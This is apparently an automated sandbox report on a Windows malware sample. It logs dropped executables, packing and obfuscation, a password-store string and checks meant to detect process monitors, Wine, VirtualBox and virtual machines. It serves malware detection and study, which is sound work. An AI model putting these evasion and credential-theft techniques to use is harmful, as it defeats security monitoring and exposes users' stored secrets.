Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

File created: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NE4jxHLxXJ.exe, 00000000.00000003.1496303544.00000000053CC000.00000004.00000800.00020000.00000000.sdmp, NE4jxHLxXJ.exe, 00000000.00000003.1495670165.00000000053E7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: NE4jxHLxXJ.exe	Virustotal: Detection: 54%
Source: NE4jxHLxXJ.exe	ReversingLabs: Detection: 52%

Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

File read: C:\Users\user\Desktop\NE4jxHLxXJ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NE4jxHLxXJ.exe "C:\Users\user\Desktop\NE4jxHLxXJ.exe"
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe "C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe"
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process created: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe "C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe"
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe "C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process created: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe "C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: NE4jxHLxXJ.exe

Static file information: File size 1868288 > 1048576

Source: NE4jxHLxXJ.exe

Static PE information: Raw size of qnewshqh is bigger than: 0x100000 < 0x19fc00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe, 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Unpacked PE file: 3.2.7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.110000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Unpacked PE file: 4.2.0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.b20000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754
Source: NE4jxHLxXJ.exe	Static PE information: real checksum: 0x1d5ca9 should be: 0x1d3466
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: NE4jxHLxXJ.exe	Static PE information: section name:
Source: NE4jxHLxXJ.exe	Static PE information: section name: .idata
Source: NE4jxHLxXJ.exe	Static PE information: section name:
Source: NE4jxHLxXJ.exe	Static PE information: section name: qnewshqh
Source: NE4jxHLxXJ.exe	Static PE information: section name: pfgmrkfz
Source: NE4jxHLxXJ.exe	Static PE information: section name: .taggant
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name:
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name: .idata
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name: tnrxecbv
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name: anayjrgy
Source: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.0.dr	Static PE information: section name: .taggant
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name:
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name: .idata
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name: wwqufnsk
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name: dutjqjqn
Source: 0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AB0AC push 7A4F59F3h; mov dword ptr [esp], ebp	3_2_002AE0C7
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AB0AC push eax; mov dword ptr [esp], 2D5DFFBFh	3_2_002AF8C6
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011F1B6 push eax; mov dword ptr [esp], ebx	3_2_0011F1C8
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0029DE68 push ecx; mov dword ptr [esp], ebp	3_2_0029DE74
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0029DE68 push esi; mov dword ptr [esp], 76F72996h	3_2_0029DEA1
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0029DE68 push edx; mov dword ptr [esp], edi	3_2_0029DEDC
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0029DF99 push edx; mov dword ptr [esp], 7BCC34CAh	3_2_0029DFDF
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002B4024 push ebp; ret	3_2_002B4033
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_00122009 push eax; mov dword ptr [esp], ebx	3_2_0012200D
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011D033 push 6DD57944h; mov dword ptr [esp], esi	3_2_0011D05C
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_00121034 push edx; mov dword ptr [esp], edi	3_2_00121822
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_00121034 push ebx; mov dword ptr [esp], edi	3_2_00121A51
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002B106B push ecx; mov dword ptr [esp], eax	3_2_002B108E
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A9068 push 2A168DE1h; mov dword ptr [esp], edi	3_2_002A97D3
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002B406D push edx; ret	3_2_002B407C
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011F042 push ecx; mov dword ptr [esp], edx	3_2_0011F882
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AB079 push 4E9A1AA8h; mov dword ptr [esp], eax	3_2_002AC02A
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AB079 push edi; mov dword ptr [esp], esi	3_2_002AC833
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011C078 push eax; mov dword ptr [esp], 51BCEE11h	3_2_0011C962
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AF05C push 6AC919B2h; mov dword ptr [esp], ebx	3_2_002AF06A
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AF05C push ecx; mov dword ptr [esp], 6DEB8921h	3_2_002AF1B2
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A90A2 push 457A1139h; mov dword ptr [esp], ecx	3_2_002A92ED
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002B40B9 push ebp; ret	3_2_002B40C8
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011C0B5 push edi; mov dword ptr [esp], edx	3_2_0011C3B4
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_0011C0B5 push 02C6C0D8h; mov dword ptr [esp], edx	3_2_0011C3D0
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002B2084 push ecx; mov dword ptr [esp], 7BF8B12Dh	3_2_002B2093
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002AE0E5 push edi; mov dword ptr [esp], 765EDAFCh	3_2_002AE0EC
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A80FB push ecx; mov dword ptr [esp], eax	3_2_002A812C
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A80FB push 20D13BC1h; mov dword ptr [esp], eax	3_2_002A8150
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A80FB push 0386B1BAh; mov dword ptr [esp], esp	3_2_002A81AF
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Code function: 3_2_002A80FB push ecx; mov dword ptr [esp], 7772B1C2h	3_2_002A81D9

Source: NE4jxHLxXJ.exe	Static PE information: section name: entropy: 7.9783242272565635
Source: NE4jxHLxXJ.exe	Static PE information: section name: qnewshqh entropy: 7.954331710673265

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File created: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe			Jump to dropped file
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File created: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\NE4jxHLxXJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

